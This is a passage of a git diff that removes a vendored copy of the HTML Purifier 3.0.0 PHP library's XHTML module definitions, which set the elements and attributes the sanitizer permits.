correspondence though). - * @todo Consider making some member functions protected - */ - -class HTMLPurifier_HTMLModule -{ - - // -- Overloadable ---------------------------------------------------- - - /** - * Short unique string identifier of the module - */ - public $name; - - /** - * Informally, a list of elements this module changes. Not used in - * any significant way. - */ - public $elements = array(); - - /** - * Associative array of element names to element definitions. - * Some definitions may be incomplete, to be merged in later - * with the full definition. - */ - public $info = array(); - - /** - * Associative array of content set names to content set additions. - * This is commonly used to, say, add an A element to the Inline - * content set. This corresponds to an internal variable $content_sets - * and NOT info_content_sets member variable of HTMLDefinition. - */ - public $content_sets = array(); - - /** - * Associative array of attribute collection names to attribute - * collection additions. More rarely used for adding attributes to - * the global collections. Example is the StyleAttribute module adding - * the style attribute to the Core. Corresponds to HTMLDefinition's - * attr_collections->info, since the object's data is only info, - * with extra behavior associated with it. - */ - public $attr_collections = array(); - - /** - * Associative array of deprecated tag name to HTMLPurifier_TagTransform - */ - public $info_tag_transform = array(); - - /** - * List of HTMLPurifier_AttrTransform to be performed before validation. - */ - public $info_attr_transform_pre = array(); - - /** - * List of HTMLPurifier_AttrTransform to be performed after validation. - */ - public $info_attr_transform_post = array(); - - /** - * Boolean flag that indicates whether or not getChildDef is implemented. - * For optimization reasons: may save a call to a function. Be sure - * to set it if you do implement getChildDef(), otherwise it will have - * no effect! - */ - public $defines_child_def = false; - - /** - * Retrieves a proper HTMLPurifier_ChildDef subclass based on - * content_model and content_model_type member variables of - * the HTMLPurifier_ElementDef class. There is a similar function - * in HTMLPurifier_HTMLDefinition. - * @param $def HTMLPurifier_ElementDef instance - * @return HTMLPurifier_ChildDef subclass - */ - public function getChildDef($def) {return false;} - - // -- Convenience ----------------------------------------------------- - - /** - * Convenience function that sets up a new element - * @param $element Name of element to add - * @param $safe Is element safe for untrusted users to use? - * @param $type What content set should element be registered to? - * Set as false to skip this step. - * @param $contents Allowed children in form of: - * "$content_model_type: $content_model" - * @param $attr_includes What attribute collections to register to - * element? - * @param $attr What unique attributes does the element define? - * @note See ElementDef for in-depth descriptions of these parameters. - * @return Reference to created element definition object, so you - * can set advanced parameters - */ - public function &addElement($element, $safe, $type, $contents, $attr_includes = array(), $attr = array()) { - $this->elements[] = $element; - // parse content_model - list($content_model_type, $content_model) = $this->parseContents($contents); - // merge in attribute inclusions - $this->mergeInAttrIncludes($attr, $attr_includes); - // add element to content sets - if ($type) $this->addElementToContentSet($element, $type); - // create element - $this->info[$element] = HTMLPurifier_ElementDef::create( - $safe, $content_model, $content_model_type, $attr - ); - // literal object $contents means direct child manipulation - if (!is_string($contents)) $this->info[$element]->child = $contents; - return $this->info[$element]; - } - - /** - * Convenience function that creates a totally blank, non-standalone - * element. - * @param $element Name of element to create - * @return Reference to created element - */ - public function &addBlankElement($element) { - if (!isset($this->info[$element])) { - $this->elements[] = $element; - $this->info[$element] = new HTMLPurifier_ElementDef(); - $this->info[$element]->standalone = false; - } else { - trigger_error("Definition for $element already exists in module, cannot redefine"); - } - return $this->info[$element]; - } - - /** - * Convenience function that registers an element to a content set - * @param Element to register - * @param Name content set (warning: case sensitive, usually upper-case - * first letter) - */ - public function addElementToContentSet($element, $type) { - if (!isset($this->content_sets[$type])) $this->content_sets[$type] = ''; - else $this->content_sets[$type] .= ' | '; - $this->content_sets[$type] .= $element; - } - - /** - * Convenience function that transforms single-string contents - * into separate content model and content model type - * @param $contents Allowed children in form of: - * "$content_model_type: $content_model" - * @note If contents is an object, an array of two nulls will be - * returned, and the callee needs to take the original $contents - * and use it directly. - */ - public function parseContents($contents) { - if (!is_string($contents)) return array(null, null); // defer - switch ($contents) { - // check for shorthand content model forms - case 'Empty': - return array('empty', ''); - case 'Inline': - return array('optional', 'Inline | #PCDATA'); - case 'Flow': - return array('optional', 'Flow | #PCDATA'); - } - list($content_model_type, $content_model) = explode(':', $contents); - $content_model_type = strtolower(trim($content_model_type)); - $content_model = trim($content_model); - return array($content_model_type, $content_model); - } - - /** - * Convenience function that merges a list of attribute includes into - * an attribute array. - * @param $attr Reference to attr array to modify - * @param $attr_includes Array of includes / string include to merge in - */ - public function mergeInAttrIncludes(&$attr, $attr_includes) { - if (!is_array($attr_includes)) { - if (empty($attr_includes)) $attr_includes = array(); - else $attr_includes = array($attr_includes); - } - $attr[0] = $attr_includes; - } - - /** - * Convenience function that generates a lookup table with boolean - * true as value. - * @param $list List of values to turn into a lookup - * @note You can also pass an arbitrary number of arguments in - * place of the regular argument - * @return Lookup array equivalent of list - */ - public function makeLookup($list) { - if (is_string($list)) $list = func_get_args(); - $ret = array(); - foreach ($list as $value) { - if (is_null($value)) continue; - $ret[$value] = true; - } - return $ret; - } -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Bdo.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Bdo.php deleted file mode 100644 index 53d7d6c..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Bdo.php +++ /dev/null @@ -1,33 +0,0 @@ -<?php - -require_once 'HTMLPurifier/HTMLModule.php'; -require_once 'HTMLPurifier/AttrTransform/BdoDir.php'; - -/** - * XHTML 1.1 Bi-directional Text Module, defines elements that - * declare directionality of content. Text Extension Module. - */ -class HTMLPurifier_HTMLModule_Bdo extends HTMLPurifier_HTMLModule -{ - - public $name = 'Bdo'; - public $attr_collections = array( - 'I18N' => array('dir' => false) - ); - - public function __construct() { - $bdo =& $this->addElement( - 'bdo', true, 'Inline', 'Inline', array('Core', 'Lang'), - array( - 'dir' => 'Enum#ltr,rtl', // required - // The Abstract Module specification has the attribute - // inclusions wrong for bdo: bdo allows Lang - ) - ); - $bdo->attr_transform_post['required-dir'] = new HTMLPurifier_AttrTransform_BdoDir(); - - $this->attr_collections['I18N']['dir'] = 'Enum#ltr,rtl'; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/CommonAttributes.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/CommonAttributes.php deleted file mode 100644 index e784ef7..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/CommonAttributes.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php - -require_once 'HTMLPurifier/HTMLModule.php'; - -class HTMLPurifier_HTMLModule_CommonAttributes extends HTMLPurifier_HTMLModule -{ - public $name = 'CommonAttributes'; - - public $attr_collections = array( - 'Core' => array( - 0 => array('Style'), - // 'xml:space' => false, - 'class' => 'NMTOKENS', - 'id' => 'ID', - 'title' => 'CDATA', - ), - 'Lang' => array(), - 'I18N' => array( - 0 => array('Lang'), // proprietary, for xml:lang/lang - ), - 'Common' => array( - 0 => array('Core', 'I18N') - ) - ); -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Edit.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Edit.php deleted file mode 100644 index 10c31b8..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Edit.php +++ /dev/null @@ -1,40 +0,0 @@ -<?php - -require_once 'HTMLPurifier/HTMLModule.php'; -require_once 'HTMLPurifier/ChildDef/Chameleon.php'; - -/** - * XHTML 1.1 Edit Module, defines editing-related elements. Text Extension - * Module. - */ -class HTMLPurifier_HTMLModule_Edit extends HTMLPurifier_HTMLModule -{ - - public $name = 'Edit'; - - public function __construct() { - $contents = 'Chameleon: #PCDATA | Inline ! #PCDATA | Flow'; - $attr = array( - 'cite' => 'URI', - // 'datetime' => 'Datetime', // not implemented - ); - $this->addElement('del', true, 'Inline', $contents, 'Common', $attr); - $this->addElement('ins', true, 'Inline', $contents, 'Common', $attr); - } - - // HTML 4.01 specifies that ins/del must not contain block - // elements when used in an inline context, chameleon is - // a complicated workaround to acheive this effect - - // Inline context ! Block context (exclamation mark is - // separator, see getChildDef for parsing) - - public $defines_child_def = true; - public function getChildDef($def) { - if ($def->content_model_type != 'chameleon') return false; - $value = explode('!', $def->content_model); - return new HTMLPurifier_ChildDef_Chameleon($value[0], $value[1]); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Hypertext.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Hypertext.php deleted file mode 100644 index e70cf6a..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Hypertext.php +++ /dev/null @@ -1,32 +0,0 @@ -<?php - -require_once 'HTMLPurifier/HTMLModule.php'; -require_once 'HTMLPurifier/AttrDef/HTML/LinkTypes.php'; - -/** - * XHTML 1.1 Hypertext Module, defines hypertext links. Core Module. - */ -class HTMLPurifier_HTMLModule_Hypertext extends HTMLPurifier_HTMLModule -{ - - public $name = 'Hypertext'; - - public function __construct() { - $a =& $this->addElement( - 'a', true, 'Inline', 'Inline', 'Common', - array( - // 'accesskey' => 'Character', - // 'charset' => 'Charset', - 'href' => 'URI', - // 'hreflang' => 'LanguageCode', - 'rel' => new HTMLPurifier_AttrDef_HTML_LinkTypes('rel'), - 'rev' => new HTMLPurifier_AttrDef_HTML_LinkTypes('rev'), - // 'tabindex' => 'Number', - // 'type' => 'ContentType', - ) - ); - $a->excludes = array('a' => true); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Image.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Image.php deleted file mode 100644 index 50a243f..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Image.php +++ /dev/null @@ -1,36 +0,0 @@ -<?php - -require_once 'HTMLPurifier/HTMLModule.php'; - -require_once 'HTMLPurifier/AttrDef/URI.php'; -require_once 'HTMLPurifier/AttrTransform/ImgRequired.php'; - -/** - * XHTML 1.1 Image Module provides basic image embedding. - * @note There is specialized code for removing empty images in - * HTMLPurifier_Strategy_RemoveForeignElements - */ -class HTMLPurifier_HTMLModule_Image extends HTMLPurifier_HTMLModule -{ - - public $name = 'Image'; - - public function __construct() { - $img =& $this->addElement( - 'img', true, 'Inline', 'Empty', 'Common', - array( - 'alt*' => 'Text', - 'height' => 'Length', - 'longdesc' => 'URI', - 'src*' => new HTMLPurifier_AttrDef_URI(true), // embedded - 'width' => 'Length' - ) - ); - // kind of strange, but splitting things up would be inefficient - $img->attr_transform_pre[] = - $img->attr_transform_post[] = - new HTMLPurifier_AttrTransform_ImgRequired(); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Legacy.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Legacy.php deleted file mode 100644 index dfc7367..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Legacy.php +++ /dev/null @@ -1,138 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef/HTML/Bool.php'; - -/** - * XHTML 1.1 Legacy module defines elements that were previously - * deprecated. - * - * @note Not all legacy elements have been implemented yet, which - * is a bit of a reverse problem as compared to browsers! In - * addition, this legacy module may implement a bit more than - * mandated by XHTML 1.1. - * - * This module can be used in combination with TransformToStrict in order - * to transform as many deprecated elements as possible, but retain - * questionably deprecated elements that do not have good alternatives - * as well as transform elements that don't have an implementation. - * See docs/ref-strictness.txt for more details. - */ - -class HTMLPurifier_HTMLModule_Legacy extends HTMLPurifier_HTMLModule -{ - - public $name = 'Legacy'; - - public function __construct() { - - $this->addElement('basefont', true, 'Inline', 'Empty', false, array( - 'color' => 'Color', - 'face' => 'Text', // extremely broad, we should - 'size' => 'Text', // tighten it - 'id' => 'ID' - )); - $this->addElement('center', true, 'Block', 'Flow', 'Common'); - $this->addElement('dir', true, 'Block', 'Required: li', 'Common', array( - 'compact' => 'Bool#compact' - )); - $this->addElement('font', true, 'Inline', 'Inline', array('Core', 'I18N'), array( - 'color' => 'Color', - 'face' => 'Text', // extremely broad, we should - 'size' => 'Text', // tighten it - )); - $this->addElement('menu', true, 'Block', 'Required: li', 'Common', array( - 'compact' => 'Bool#compact' - )); - $this->addElement('s', true, 'Inline', 'Inline', 'Common'); - $this->addElement('strike', true, 'Inline', 'Inline', 'Common'); - $this->addElement('u', true, 'Inline', 'Inline', 'Common'); - - // setup modifications to old elements - - $align = 'Enum#left,right,center,justify'; - - $address =& $this->addBlankElement('address'); - $address->content_model = 'Inline | #PCDATA | p'; - $address->content_model_type = 'optional'; - $address->child = false; - - $blockquote =& $this->addBlankElement('blockquote'); - $blockquote->content_model = 'Flow | #PCDATA'; - $blockquote->content_model_type = 'optional'; - $blockquote->child = false; - - $br =& $this->addBlankElement('br'); - $br->attr['clear'] = 'Enum#left,all,right,none'; - - $caption =& $this->addBlankElement('caption'); - $caption->attr['align'] = 'Enum#top,bottom,left,right'; - - $div =& $this->addBlankElement('div'); - $div->attr['align'] = $align; - - $dl =& $this->addBlankElement('dl'); - $dl->attr['compact'] = 'Bool#compact'; - - for ($i = 1; $i <= 6; $i++) { - $h =& $this->addBlankElement("h$i"); - $h->attr['align'] = $align; - } - - $hr =& $this->addBlankElement('hr'); - $hr->attr['align'] = $align; - $hr->attr['noshade'] = 'Bool#noshade'; - $hr->attr['size'] = 'Pixels'; - $hr->attr['width'] = 'Length'; - - $img =& $this->addBlankElement('img'); - $img->attr['align'] = 'Enum#top,middle,bottom,left,right'; - $img->attr['border'] = 'Pixels'; - $img->attr['hspace'] = 'Pixels'; - $img->attr['vspace'] = 'Pixels'; - - // figure out this integer business - - $li =& $this->addBlankElement('li'); - $li->attr['value'] = new HTMLPurifier_AttrDef_Integer(); - $li->attr['type'] = 'Enum#s:1,i,I,a,A,disc,square,circle'; - - $ol =& $this->addBlankElement('ol'); - $ol->attr['compact'] = 'Bool#compact'; - $ol->attr['start'] = new HTMLPurifier_AttrDef_Integer(); - $ol->attr['type'] = 'Enum#s:1,i,I,a,A'; - - $p =& $this->addBlankElement('p'); - $p->attr['align'] = $align; - - $pre =& $this->addBlankElement('pre'); - $pre->attr['width'] = 'Number'; - - // script omitted - - $table =& $this->addBlankElement('table'); - $table->attr['align'] = 'Enum#left,center,right'; - $table->attr['bgcolor'] = 'Color'; - - $tr =& $this->addBlankElement('tr'); - $tr->attr['bgcolor'] = 'Color'; - - $th =& $this->addBlankElement('th'); - $th->attr['bgcolor'] = 'Color'; - $th->attr['height'] = 'Length'; - $th->attr['nowrap'] = 'Bool#nowrap'; - $th->attr['width'] = 'Length'; - - $td =& $this->addBlankElement('td'); - $td->attr['bgcolor'] = 'Color'; - $td->attr['height'] = 'Length'; - $td->attr['nowrap'] = 'Bool#nowrap'; - $td->attr['width'] = 'Length'; - - $ul =& $this->addBlankElement('ul'); - $ul->attr['compact'] = 'Bool#compact'; - $ul->attr['type'] = 'Enum#square,disc,circle'; - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/List.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/List.php deleted file mode 100644 index a48ed51..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/List.php +++ /dev/null @@ -1,36 +0,0 @@ -<?php - -require_once 'HTMLPurifier/HTMLModule.php'; - -/** - * XHTML 1.1 List Module, defines list-oriented elements. Core Module. - */ -class HTMLPurifier_HTMLModule_List extends HTMLPurifier_HTMLModule -{ - - public $name = 'List'; - - // According to the abstract schema, the List content set is a fully formed - // one or more expr, but it invariably occurs in an optional declaration - // so we're not going to do that subtlety. It might cause trouble - // if a user defines "List" and expects that multiple lists are - // allowed to be specified, but then again, that's not very intuitive. - // Furthermore, the actual XML Schema may disagree. Regardless, - // we don't have support for such nested expressions without using - // the incredibly inefficient and draconic Custom ChildDef. - - public $content_sets = array('Flow' => 'List'); - - public function __construct() { - $this->addElement('ol', true, 'List', 'Required: li', 'Common'); - $this->addElement('ul', true, 'List', 'Required: li', 'Common'); - $this->addElement('dl', true, 'List', 'Required: dt | dd', 'Common'); - - $this->addElement('li', true, false, 'Flow', 'Common'); - - $this->addElement('dd', true, false, 'Flow', 'Common'); - $this->addElement('dt', true, false, 'Inline', 'Common'); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php deleted file mode 100644 index c914a3b..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php +++ /dev/null @@ -1,15 +0,0 @@ -<?php - -require_once 'HTMLPurifier/HTMLModule.php'; - -class HTMLPurifier_HTMLModule_NonXMLCommonAttributes extends HTMLPurifier_HTMLModule -{ - public $name = 'NonXMLCommonAttributes'; - - public $attr_collections = array( - 'Lang' => array( - 'lang' => 'LanguageCode', - ) - ); -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Object.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Object.php deleted file mode 100644 index 330d237..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Object.php +++ /dev/null @@ -1,47 +0,0 @@ -<?php - -require_once 'HTMLPurifier/HTMLModule.php'; - -/** - * XHTML 1.1 Object Module, defines elements for generic object inclusion - * @warning Users will commonly use <embed> to cater to legacy browsers: this - * module does not allow this sort of behavior - */ -class HTMLPurifier_HTMLModule_Object extends HTMLPurifier_HTMLModule -{ - - public $name = 'Object'; - - public function __construct() { - - $this->addElement('object', false, 'Inline', 'Optional: #PCDATA | Flow | param', 'Common', - array( - 'archive' => 'URI', - 'classid' => 'URI', - 'codebase' => 'URI', - 'codetype' => 'Text', - 'data' => 'URI', - 'declare' => 'Bool#declare', - 'height' => 'Length', - 'name' => 'CDATA', - 'standby' => 'Text', - 'tabindex' => 'Number', - 'type' => 'ContentType', - 'width' => 'Length' - ) - ); - - $this->addElement('param', false, false, 'Empty', false, - array( - 'id' => 'ID', - 'name*' => 'Text', - 'type' => 'Text', - 'value' => 'Text', - 'valuetype' => 'Enum#data,ref,object' - ) - ); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Presentation.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Presentation.php deleted file mode 100644 index 7facf7a..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Presentation.php +++ /dev/null @@ -1,32 +0,0 @@ -<?php - -require_once 'HTMLPurifier/HTMLModule.php'; - -/** - * XHTML 1.1 Presentation Module, defines simple presentation-related - * markup. Text Extension Module. - * @note The official XML Schema and DTD specs further divide this into - * two modules: - * - Block Presentation (hr) - * - Inline Presentation (b, big, i, small, sub, sup, tt) - * We have chosen not to heed this distinction, as content_sets - * provides satisfactory disambiguation. - */ -class HTMLPurifier_HTMLModule_Presentation extends HTMLPurifier_HTMLModule -{ - - public $name = 'Presentation'; - - public function __construct() { - $this->addElement('b', true, 'Inline', 'Inline', 'Common'); - $this->addElement('big', true, 'Inline', 'Inline', 'Common'); - $this->addElement('hr', true, 'Block', 'Empty', 'Common'); - $this->addElement('i', true, 'Inline', 'Inline', 'Common'); - $this->addElement('small', true, 'Inline', 'Inline', 'Common'); - $this->addElement('sub', true, 'Inline', 'Inline', 'Common'); - $this->addElement('sup', true, 'Inline', 'Inline', 'Common'); - $this->addElement('tt', true, 'Inline', 'Inline', 'Common'); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Ruby.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Ruby.php deleted file mode 100644 index 33d135a..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Ruby.php +++ /dev/null @@ -1,28 +0,0 @@ -<?php - -require_once 'HTMLPurifier/HTMLModule.php'; - -/** - * XHTML 1.1 Ruby Annotation Module, defines elements that indicate - * short runs of text alongside base text for annotation or pronounciation. - */ -class HTMLPurifier_HTMLModule_Ruby extends HTMLPurifier_HTMLModule -{ - - public $name = 'Ruby'; - - public function __construct() { - $this->addElement('ruby', true, 'Inline', - 'Custom: ((rb, (rt | (rp, rt, rp))) | (rbc, rtc, rtc?))', - 'Common'); - $this->addElement('rbc', true, false, 'Required: rb', 'Common'); - $this->addElement('rtc', true, false, 'Required: rt', 'Common'); - $rb =& $this->addElement('rb', true, false, 'Inline', 'Common'); - $rb->excludes = array('ruby' => true); - $rt =& $this->addElement('rt', true, false, 'Inline', 'Common', array('rbspan' => 'Number')); - $rt->excludes = array('ruby' => true); - $this->addElement('rp', true, false, 'Optional: #PCDATA', 'Common'); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Scripting.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Scripting.php deleted file mode 100644 index 1b348e7..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Scripting.php +++ /dev/null @@ -1,63 +0,0 @@ -<?php - -/* - -WARNING: THIS MODULE IS EXTREMELY DANGEROUS AS IT ENABLES INLINE SCRIPTING -INSIDE HTML PURIFIER DOCUMENTS. USE ONLY WITH TRUSTED USER INPUT!!! - -*/ - -/** - * Implements required attribute stipulation for <script> - */ -class HTMLPurifier_AttrTransform_ScriptRequired extends HTMLPurifier_AttrTransform -{ - public function transform($attr, $config, $context) { - if (!isset($attr['type'])) { - $attr['type'] = 'text/javascript'; - } - return $attr; - } -} - -/** - * XHTML 1.1 Scripting module, defines elements that are used to contain - * information pertaining to executable scripts or the lack of support - * for executable scripts. - * @note This module does not contain inline scripting elements - */ -class HTMLPurifier_HTMLModule_Scripting extends HTMLPurifier_HTMLModule -{ - public $name = 'Scripting'; - public $elements = array('script', 'noscript'); - public $content_sets = array('Block' => 'script | noscript', 'Inline' => 'script | noscript'); - - public function __construct() { - // TODO: create custom child-definition for noscript that - // auto-wraps stray #PCDATA in a similar manner to - // blockquote's custom definition (we would use it but - // blockquote's contents are optional while noscript's contents - // are required) - - // TODO: convert this to new syntax, main problem is getting - // both content sets working - foreach ($this->elements as $element) { - $this->info[$element] = new HTMLPurifier_ElementDef(); - $this->info[$element]->safe = false; - } - $this->info['noscript']->attr = array( 0 => array('Common') ); - $this->info['noscript']->content_model = 'Heading | List | Block'; - $this->info['noscript']->content_model_type = 'required'; - $this->info['script']->attr = array( - 'defer' => new HTMLPurifier_AttrDef_Enum(array('defer')), - 'src' => new HTMLPurifier_AttrDef_URI(true), - 'type' => new HTMLPurifier_AttrDef_Enum(array('text/javascript')) - ); - $this->info['script']->content_model = '#PCDATA'; - $this->info['script']->content_model_type = 'optional'; - $this->info['script']->attr_transform_pre['type'] = - $this->info['script']->attr_transform_post['type'] = - new HTMLPurifier_AttrTransform_ScriptRequired(); - } -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/StyleAttribute.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/StyleAttribute.php deleted file mode 100644 index 7336818..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/StyleAttribute.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php - -require_once 'HTMLPurifier/HTMLModule.php'; -require_once 'HTMLPurifier/AttrDef/CSS.php'; - -/** - * XHTML 1.1 Edit Module, defines editing-related elements. Text Extension - * Module. - */ -class HTMLPurifier_HTMLModule_StyleAttribute extends HTMLPurifier_HTMLModule -{ - - public $name = 'StyleAttribute'; - public $attr_collections = array( - // The inclusion routine differs from the Abstract Modules but - // is in line with the DTD and XML Schemas. - 'Style' => array('style' => false), // see constructor - 'Core' => array(0 => array('Style')) - ); - - public function __construct() { - $this->attr_collections['Style']['style'] = new HTMLPurifier_AttrDef_CSS(); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Tables.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Tables.php deleted file mode 100644 index ee0e162..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Tables.php +++ /dev/null @@ -1,68 +0,0 @@ -<?php - -require_once 'HTMLPurifier/HTMLModule.php'; -require_once 'HTMLPurifier/ChildDef/Table.php'; - -/** - * XHTML 1.1 Tables Module, fully defines accessible table elements. - */ -class HTMLPurifier_HTMLModule_Tables extends HTMLPurifier_HTMLModule -{ - - public $name = 'Tables'; - - public function __construct() { - - $this->addElement('caption', true, false, 'Inline', 'Common'); - - $this->addElement('table', true, 'Block', - new HTMLPurifier_ChildDef_Table(), 'Common', - array( - 'border' => 'Pixels', - 'cellpadding' => 'Length', - 'cellspacing' => 'Length', - 'frame' => 'Enum#void,above,below,hsides,lhs,rhs,vsides,box,border', - 'rules' => 'Enum#none,groups,rows,cols,all', - 'summary' => 'Text', - 'width' => 'Length' - ) - ); - - // common attributes - $cell_align = array( - 'align' => 'Enum#left,center,right,justify,char', - 'charoff' => 'Length', - 'valign' => 'Enum#top,middle,bottom,baseline', - ); - - $cell_t = array_merge( - array( - 'abbr' => 'Text', - 'colspan' => 'Number', - 'rowspan' => 'Number', - ), - $cell_align - ); - $this->addElement('td', true, false, 'Flow', 'Common', $cell_t); - $this->addElement('th', true, false, 'Flow', 'Common', $cell_t); - - $this->addElement('tr', true, false, 'Required: td | th', 'Common', $cell_align); - - $cell_col = array_merge( - array( - 'span' => 'Number', - 'width' => 'MultiLength', - ), - $cell_align - ); - $this->addElement('col', true, false, 'Empty', 'Common', $cell_col); - $this->addElement('colgroup', true, false, 'Optional: col', 'Common', $cell_col); - - $this->addElement('tbody', true, false, 'Required: tr', 'Common', $cell_align); - $this->addElement('thead', true, false, 'Required: tr', 'Common', $cell_align); - $this->addElement('tfoot', true, false, 'Required: tr', 'Common', $cell_align); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Target.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Target.php deleted file mode 100644 index e179240..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Target.php +++ /dev/null @@ -1,24 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef/HTML/FrameTarget.php'; - -/** - * XHTML 1.1 Target Module, defines target attribute in link elements. - */ -class HTMLPurifier_HTMLModule_Target extends HTMLPurifier_HTMLModule -{ - - public $name = 'Target'; - - public function __construct() { - $elements = array('a'); - foreach ($elements as $name) { - $e =& $this->addBlankElement($name); - $e->attr = array( - 'target' => new HTMLPurifier_AttrDef_HTML_FrameTarget() - ); - } - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Text.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Text.php deleted file mode 100644 index a5ddc62..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Text.php +++ /dev/null @@ -1,64 +0,0 @@ -<?php - -require_once 'HTMLPurifier/HTMLModule.php'; - -/** - * XHTML 1.1 Text Module, defines basic text containers. Core Module. - * @note In the normative XML Schema specification, this module - * is further abstracted into the following modules: - * - Block Phrasal (address, blockquote, pre, h1, h2, h3, h4, h5, h6) - * - Block Structural (div, p) - * - Inline Phrasal (abbr, acronym, cite, code, dfn, em, kbd, q, samp, strong, var) - * - Inline Structural (br, span) - * This module, functionally, does not distinguish between these - * sub-modules, but the code is internally structured to reflect - * these distinctions. - */ -class HTMLPurifier_HTMLModule_Text extends HTMLPurifier_HTMLModule -{ - - public $name = 'Text'; - public $content_sets = array( - 'Flow' => 'Heading | Block | Inline' - ); - - public function __construct() { - - // Inline Phrasal ------------------------------------------------- - $this->addElement('abbr', true, 'Inline', 'Inline', 'Common'); - $this->addElement('acronym', true, 'Inline', 'Inline', 'Common'); - $this->addElement('cite', true, 'Inline', 'Inline', 'Common'); - $this->addElement('code', true, 'Inline', 'Inline', 'Common'); - $this->addElement('dfn', true, 'Inline', 'Inline', 'Common'); - $this->addElement('em', true, 'Inline', 'Inline', 'Common'); - $this->addElement('kbd', true, 'Inline', 'Inline', 'Common'); - $this->addElement('q', true, 'Inline', 'Inline', 'Common', array('cite' => 'URI')); - $this->addElement('samp', true, 'Inline', 'Inline', 'Common'); - $this->addElement('strong', true, 'Inline', 'Inline', 'Common'); - $this->addElement('var', true, 'Inline', 'Inline', 'Common'); - - // Inline Structural ---------------------------------------------- - $this->addElement('span', true, 'Inline', 'Inline', 'Common'); - $this->addElement('br', true, 'Inline', 'Empty', 'Core'); - - // Block Phrasal -------------------------------------------------- - $this->addElement('address', true, 'Block', 'Inline', 'Common'); - $this->addElement('blockquote', true, 'Block', 'Optional: Heading | Block | List', 'Common', array('cite' => 'URI') ); - $pre =& $this->addElement('pre', true, 'Block', 'Inline', 'Common'); - $pre->excludes = $this->makeLookup( - 'img', 'big', 'small', 'object', 'applet', 'font', 'basefont' ); - $this->addElement('h1', true, 'Heading', 'Inline', 'Common'); - $this->addElement('h2', true, 'Heading', 'Inline', 'Common'); - $this->addElement('h3', true, 'Heading', 'Inline', 'Common'); - $this->addElement('h4', true, 'Heading', 'Inline', 'Common'); - $this->addElement('h5', true, 'Heading', 'Inline', 'Common'); - $this->addElement('h6', true, 'Heading', 'Inline', 'Common'); - - // Block Structural ----------------------------------------------- - $this->addElement('p', true, 'Block', 'Inline', 'Common'); - $this->addElement('div', true, 'Block', 'Flow', 'Common'); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Tidy.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Tidy.php deleted file mode 100644 index 8949e12..0000000 --- 